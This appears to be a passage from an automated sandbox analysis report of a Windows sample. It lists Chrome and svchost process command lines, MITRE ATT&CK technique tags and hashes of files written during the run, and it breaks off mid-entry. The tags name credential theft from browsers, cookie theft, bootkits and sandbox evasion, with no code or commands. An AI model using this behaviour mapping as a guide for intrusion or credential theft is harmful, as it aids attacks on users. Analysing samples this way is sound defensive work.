  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2372,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=2388 /prefetch:13
  2⤵
  PID:14760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3220,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3372 /prefetch:1
  2⤵
  PID:5888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3336,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3460 /prefetch:1
  2⤵
  PID:6200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4168,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4192 /prefetch:9
  2⤵
  PID:3132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4600,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4612 /prefetch:1
  2⤵
  PID:5360
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4764,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4808 /prefetch:1
  2⤵
  PID:760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5204,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5212 /prefetch:14
  2⤵
  PID:11308
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5216,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5260 /prefetch:14
  2⤵
  PID:11700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5520,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5248 /prefetch:14
  2⤵
  PID:1528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5256,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5540 /prefetch:14
  2⤵
  PID:8864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5208,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5220 /prefetch:14
  2⤵
  PID:1612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5240,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5480 /prefetch:14
  2⤵
  PID:3700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=212,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5772 /prefetch:14
  2⤵
  PID:12504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5644,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5556 /prefetch:14
  2⤵
  PID:12632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5756,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5392 /prefetch:14
  2⤵
  PID:11860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=5772,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5568 /prefetch:10
  2⤵
  PID:12200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5640,i,199965143894413149,14805033104919894417,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5620 /prefetch:14
  2⤵
  PID:10416

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:8548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:8508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

T1556

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Modify Authentication Process

T1556

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\KVRT2020_Data\Temp\7C924DD4D20055C80007791130E2D03F\klupd_fa2b3b9fa_arkmon.sys

Filesize
390KB

MD5
7c924dd4d20055c80007791130e2d03f

SHA1
072f004ddcc8ddf12aba64e09d7ee0ce3030973e

SHA256
406ab7d6e45dbedcfbd2d7376a643620c7462cece3e41115c8fbc07861177ec6

SHA512
ab26005da50cbf1f45129834cb661b5b97aed5637d4ebc9821c8b744ff61c3f108f423ae5628602d99b3d859e184bfb23900797538dca2891186321d832ea806

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
330B

MD5
478ce09776a8c2c78dca4b4534d127f5

SHA1
71d525cc9d11e653f32fde4c42a12ee53c347e9a

SHA256
715a9d1277b4fd6bb41d446732375dc89ec9b900dce490b9c511ed582fe12740

SHA512
24f687d3301f449adfa39858c6d8d4bfe4e0f94ec5a3950d9b8cc9ad49c792cb6b09747540596308aedc04566988ba424b343bb716c5a01deec514c40df71d5c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Filesize
40B

MD5
4932a49af6e81f16ee56f94d92319176

SHA1
6cb16f0bd3f363f38b456b6cdd20663b04755adc

SHA256
d8c0b9f0620d23a1084b81f2983ef0ba2c7e4c48950afd5c916a35c6073096d7

SHA512
8585b87dfad30ccef78fac4ddda3e19f08076c532b175e176e12a0e4dbbcba74a5c3c396552a147935ffd938ea4929cdb8ac433a218b0c474185d1c600a9a986

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
7ef443f2fcef2b8f88919428543e4186

SHA1
2541e9ec9e63946a0bc59b5f1121e223bf951f82

SHA256
05eb56c3478ed0beba1a0f8eaa3dcb663c4ad9735539c7705d58033882e83d74

SHA512
d86acea1f748512ec3d4d3e2070312bbe12353f6e764eff5568ba9a8a5939f867aec2ba5b1913ffa357fe2c511aa0cc824410c8527bd4abddf10c64c1d5632d0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
6ccfd2593157bf3de43732457a8053a3

SHA1
9ecacb30e0e3329b69a6817495ccb7d9f8756415

SHA256
24966babaa9b157f6468a8c0cf5f75c55dcff7f8336c3e8a1ef951ae63c44acf

SHA512
0670d7da88fbc336dea49e6256796e5c85a8d68916295561c114eb71c7abeda99d18f4030287aa4d5f8558e7623f034271834faddd577cf59f3f8ebd3c87ad36

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
8eada61588e0074c89a07baacab178a0

SHA1
0fbd549ff590e7d2c99704197a78a9c9a5bb93aa

SHA256
fab6f33e161cedab3b03c1f4174b82183622fea1d9eb26141fe0a502966d7e56

SHA512
93e4da0861b83b26ffd8ba39e9a4ebc43dc60f7b4de5c8e87efc78c9af7448a8cb5b1a951285c0c4842e8d30941843dd71dc3e24ed3c4df876e792cbb04964ff

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
82c46c2be053ca9260405d0a0ae2a2ab

SHA1
2ba563c23c8124b27522bf3f1137dc47b4180f8c

SHA256
72c76d75932e3785a21ece00e273537fcab1d2e9bea3d47639a8773e876027fe

SHA512
d90d4dd27a69e2d47d1804bcaf1805f2e9a6bdde57bdd62bd004093e6e72c99f572110b7e064013450ea59da4075f09187602e73d3c2135e9e566ff4e4ff5e9b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
18KB

MD5
99f7715b0d49fd40fdfcbd43ce66e93e

SHA1
b401e86e0098253e24b8af597890e0cbf7c8323a

SHA256
ed283a3f0b6509fcdeed03e7bbaca6b08f0033d13eb74983a68c839875224874

SHA512
d901579cc068066281387a3066718280741b21dccf07672f72e4a20a50ca7406414047983760cf1e9b47eef047dd6ddd64ca237d0a77f2123d9e863699d26da2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
99eb0000b3c11bc87f2fe36bbb568b7a

SHA1
aee4f8c95f2d15fccef6d36a60a2df98b6ac79ac

SHA256
2c4c71bdb26da7a4fc7fb920c4b4525e4d52d28270d27fe9791ec79d438f7bba

SHA512
38b103342462ef964fa7ad139ad0e01ba06effc69ba8ec2349dfb42bab8dd48ba7b7c65f8e3789a4c85b5a5510b798e3533029622a7284a904a0bb0472d4698e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5ca938.TMP

Filesize
72B

MD5
f567aafbe4cadd92848b12abf5c9690b

SHA1
e90c74825c3008e04edd70df8e26522fbf829213

SHA256
b8a18bfb46995707c7657bf5ebba5764a9f231b742861744cb4ecd893623d93e

SHA512
27a60f6361fe5ef2e6c17f89a6f5c157159e5728be08f2bb136cb57c172c97171ab0f0c4beaa8ebb305313924ab2f8a6544cb5af4dd17eaa8a005d9c7031b22d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
152KB

MD5
10369282a127078f0d7785f80090eb48

SHA1
49898fa7c87895ca07a2d675bd4f4bdd909b559c

SHA256
74c1d23018d6604e1765f8a2561010dd068d07dba930977c4d0ced30ddc9f5b1

SHA512
ddf5dc7226fc3c59e063812cdb12c7e3d0245ea08caac2571338d7866e2b3d0d9849a5db724253079a976b33bbfee3c0e67dd064cf3ae37a502875e430835445

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
152KB

MD5
b194a25b6f9bb22a9758a68970a54e7c

SHA1
b53fddc03e263fb544a178ef163c4eeff960fe7b

SHA256
e16aa57bba49e1ea28b49d6e60fd8a57a6ec2f6d1850a141d73bdb9d1e5948b7

SHA512
a491146caa79ab94cc23088ca19466238f41e60b1f20881be59b987748002d34b418736802719bdec074d6f162f24e77813c218b17040817a7b924d9dec70190

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
80KB

MD5
7758ed1deecfc02f959890fd71a821af

SHA1
f44ad85b6a238ff10a20b86afdfc3753fbc17195

SHA256
f81e043612b4dd12df19af185dfcdd2671dd2f87c4cdc8f902ca6ebe4738fef6

SHA512
ce965448ffd2cb4edaac8b3db6d97e47a84506c4906d3ae82f08d0fa455ec5ac7ba28bb3a6cd79c7c9a936e8fe810622680a1957cc3a48d702ddc708b91e349e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
153KB

MD5
67336b76d2817c420f84b5c82c65bc87

SHA1
62183d86456506a3f9bcf39f40f9ece687e18710

SHA256
a127ac551daaa0545fee59bbd7472c99ff2c140cb126a13788da3ddfab49c679

SHA512
faf9dba3252e09f91f5a29524cf965e8128a038d8dd5d276c0585442d77979717b31e43db8506bc62eeba40a8cabdaad5a2051ecb7995bdbaf71f85490337fee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.9\protocols.json

Filesize
3KB

MD5
f9fd82b572ef4ce41a3d1075acc52d22

SHA1
fdded5eef95391be440cc15f84ded0480c0141e3

SHA256
5f21978e992a53ebd9c138cb5391c481def7769e3525c586a8a94f276b3cd8d6

SHA512
17084cc74462310a608355fbeafa8b51f295fb5fd067dfc641e752e69b1ee4ffba0e9eafa263aab67daab780b9b6be370dd3b54dd4ba8426ab499e50ff5c7339

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
8272581d8cb38484cc8cb6afbdd0d37e

SHA1
2baa96a0439003aabaad1ce5619ea0a581cf261a

SHA256
025356bf819ea8a5da44ac2c4510bc380a9448247a30665577430ca7a44ca297

SHA512
60574186c595b0018d9223afd38e59378b1b00ef4f39be17ef2d7613cdac5b8f9e6dc3f2efefd559a0e4e8d64884d6ea155e874df13f170bb6dfbb41a0104959

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
70bb9472da182ee57e28279a0b41ee13

SHA1
6b08214cb0eeb9048f5d8f66a61abc302946d4a6

SHA256
1ce7c330f36c442f9d3af41c15ecb94f224f5b788caa9ea5ace321cf0c4f7744

SHA512
db68890f25c5f7bcf8c59726a0fcfa97912064651b2f3449490a987c5997137c582174949da23e536bb81445f38b83ae844ec4f2784e232aa1b62e9f92dba1cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
b6fe5218e3f904f25f66c257db3a6c5a

SHA1
2e1f125d15f5f8ad838cc483f4e2b8865997a012

SHA256
6d841d1230dcd41eb794ff4858a447c6b34b74f0db2a865543ea7ac3ee7e80ff

SHA512
8b0b387546e2c11829630fd5b8dd2a80a4307c9740036443acdfe0c6b44727a2a8ec4a5ab7fc81102829a1bdeffb3fa9f00781d8cfe2ff0fd2a2a0d1e28e782c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
56c7ba2209454127a07412ccb9853647

SHA1
706651217b1b48ac095d19e2de6087efa14a520d

SHA256
1e799792f969aab30dcbbe386e4460809c7387854fead2accd2b959d02b1fb03

SHA512
fef412c9cac2099972d051564988917a8c13ab40b958ab863d85a9a924883da084ac1d4144018312e42f8804943b14bf58e17cfbf24988c11347d6b783965dae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0

Filesize
44KB

MD5
3fa4d7aa49604f6e974144f57ce14466

SHA1
1e0b55e004db55c1d06300a5a5e526c2176a77f8

SHA256
9f59ff22d21e41aeb6e272500f03a28672df273b003e9b035ad87e47a1debd4b

SHA512
9f0518d610b1ef44b4c010710912e56da0059cfaf0dea604fc3809895a7578df4ef9e3bcb429a81b7dfa54753b64d49aa9d7e7ddaa1ee0752ff3c81e1ac49654

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1

Filesize
264KB

MD5
4c0a8be7df71dbeb8d713a724e3bfe55

SHA1
e721a336d009756d8a8560086d3875720dfdb2fe

SHA256
550453317545660c62372cde62128f326d28ebd2a6dba2ff327e06d2f1b5ff94

SHA512
b339f8cb200a3419ebb6118fbebb720869d3dc6d404744a3bb50cf8ad293350f4f3597d61e2af9d1da65489c37230a9a343ae3b6b3f72ff274a84748e5ffb20b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2

Filesize
1.0MB

MD5
166835fb7b0677fc20fca7889f7f57c2

SHA1
91aafa14df98df8f2293fe7d49eccc28f3f950a0

SHA256
103fbaffe16dee0d5f5afb6484d14b1791d9a6f6eee0f5f320a1532440b56745

SHA512
ddb5b7451feda204acbfbb7955150f1e8a912caf5f3f60141b7a81f2239d42129a62bdccad8460047726b78e1fc96d944ab235d611835708476acf3c758533e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3

Filesize
8.0MB

MD5
96576daf18b9a2137e2e8e20f956b9e4

SHA1
3d156cad277c495b0ca125dc6077cef1aa3e35e9

SHA256
b7d64c04d48a490a77e9a0496bc0c9fc49611fdef8bc8a8fdefd4e9110a9b302

SHA512
ec7524ce626a4cf8eb13fd674c1d4b1d0db0d7155549145c913d0f5f8cd742d83fe9f6f123e37c72e2b584f5bde51b8d6ec337f4d9c2a82c57d630051e10caa4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000074

Filesize
19KB

MD5
5e5ae2374ea57ea153558afd1c2c1372

SHA1
c1bef73c5b67c8866a607e3b8912ffa532d85ccc

SHA256
1ef458d087e95119808d5e5fecbc9604d7805ea4da98170e2c995e967da308f3

SHA512
46059e4a334e0a5295ebcef8401eb94b8fa0971b200f0f9e788ed61edae5018c917efd30b01631cbd6bdadc5240c9fcad2966ea0aa9c94b538bcc369e10bbbaf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000075

Filesize
191KB

MD5
eaebb390ddb3b1c0e07904f935d29bd9

SHA1
dca8da5b24b1b18b3c8dbc2523f5d145fd4dae13

SHA256
9478515162e79256323883a5092b39e0045dc8213d7dcf7be5dcc1ec5b70e9e4

SHA512
e2dae28c4661b3bb65b3811803a9396e1c9b16eb187b60f2d4d1a8cc65e2ad6ce0931a48e942b5d920bdc263ea939b9164b649edc3752e83daabef9366a186e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
4adceaa3fb62e7215a5454ab51ceaf5b

SHA1
b0e039287e41be59e89a1d28459b2ea861d4642b

SHA256
bc87592869d9183e4535cccc09d84aa8d1af883987bc5b07063e8dff80197226

SHA512
f8747430312a346c541629f0ef9b3424fdc7d1ee103d6b14e28cde06c5d8c8cf091d8d71f0eb8a739e101ee75c0f4ddf48b0c2d0956c5a3cd53dc28cf992852a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache\data_1

Filesize
264KB

MD5
091a6c9d69f2595f8b3ffaef9f2c34cb

SHA1
351d0bf94990d8aba97ae74a97e843df5fa5aaa7

SHA256
e97adc104c3eae1e67adb24fdf0891c6408bb3b582da11073641ca30dc8635a0

SHA512
33ef0f4648c817409ae6eb422131e226b663c667b2d5f062fd8b14251079022e5327a8b227fd5135e281d7b7a46e4a76e50e465372b33bc61f171a5600941335

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Filesize
513B

MD5
c92eabb217d45c77f8d52725ad3758f0

SHA1
43b422ac002bb445e2e9b2c27d74c27cd70c9975

SHA256
388c5c95f0f54f32b499c03a37aabfa5e0a31030ec70d0956a239942544b0eea

SHA512
dfd5d1c614f0ebff97f354dfc23266655c336b9b7112781d7579057814b4503d4b63ab1263258bda3358e5ee9457429c1a2451b22261a1f1e2d8657f31240d3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Filesize
319B

MD5
5bdaca26a84d95c810b4832215fc2891

SHA1
36e03a84e9a191829459e07dff01f2ed5f90e1a4

SHA256
b3a6c88729dec51da804a7c4022286cc334111e81c3f8a992fa2cf8a3d90f1c6

SHA512
c9c7d4c77d865b97196bbcf46b30e694ff11fc62184a48948a8d2f508578faa8951b7058a9bfd4b87f4292f510504d7fa1a96357070a9ef2e8591e308e132385

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.90.1_0\dasherSettingSchema.json

Filesize
854B

MD5
4ec1df2da46182103d2ffc3b92d20ca5

SHA1
fb9d1ba3710cf31a87165317c6edc110e98994ce

SHA256
6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6

SHA512
939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
192KB

MD5
33c7e345e52d47c0c869ec5dd7ddf01f

SHA1
c7ca0901678f7530cf0e57cd5826ff1d909a2cdf

SHA256
47517ea87f2cb98034432f86060e0ed45fd72730323d8b32e0befdc9d5a807e9

SHA512
9c3e9a20b40bf3731d526b498c95aa03b7ced2d2221eb86ae0d9fc4a375a65f692f7036cb4d7ebf793b8c4e083d35fac48c2a4ac714fb78c26ebd1e40ae6371f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

Filesize
107KB

MD5
2b66d93c82a06797cdfd9df96a09e74a

SHA1
5f7eb526ee8a0c519b5d86c845fea8afd15b0c28

SHA256
d4c064db769b3c109da2ed80a53fbab00987c17421a47921e41e213781d67954

SHA512
95e45c0aea0e704be5f512dffaae377d4abef78da99b3bca769264d69be20f2570daf2f47905645217e1b2696e42b101f26149219f148b4d6dd97a6c2868b6f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
a38b0be6800526e2880bdec98930524f

SHA1
69154e882ee8834de912d51ced9e158d5a8540f2

SHA256
670dcb3af8c6b53bfa81dfd1f96db70624834a40a5005eb142f88a83087fdcd8

SHA512
ed943bc2244555db6a2895197c1ffeba6fa97073328a4b380fbad8e053f37fa3ea6b70ea8c2bd8cac6b59a182032f6da6a8064fa10dd1166842180bb4e44b2b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
17KB

MD5
d7f21c4565a8b0540c31ad94cf31a256

SHA1
ad04e9375966a7d5091a88cb886bf4ef7f0b5446

SHA256
ba08971be376dfaceffa1f3b88fcc9f36641eb8103f847d2eadc4af98860a15b

SHA512
0ec7fa2eb5c3e8fb407e863bc8973d7f4cac610dcda26cf7e803613e58a7ed28e1eb539036a0acd636d063539cdff6b5711b83848c3ac754e2c81332d8e2b006

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
17KB

MD5
4e20a9e2c8195303ea4fc357abc98f86

SHA1
b1fda8da4d719e53eab633579deb807089bc9878

SHA256
f5e0ff956ee13d7560cb950af6bb805447bbe5bcac1f1bb6fbd08b7b10a5cffc

SHA512
9ef86193878aa52db7cdb8bfa97671593e9f56e901fd9ff2fbb056c3bf7f5bbeb600a2d276414ed516555611a4d92dc6760bd0ba5a7dd5b01ae4ecc555a8eb54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
37KB

MD5
9649d7259e1b3694b8e2a16543b29668

SHA1
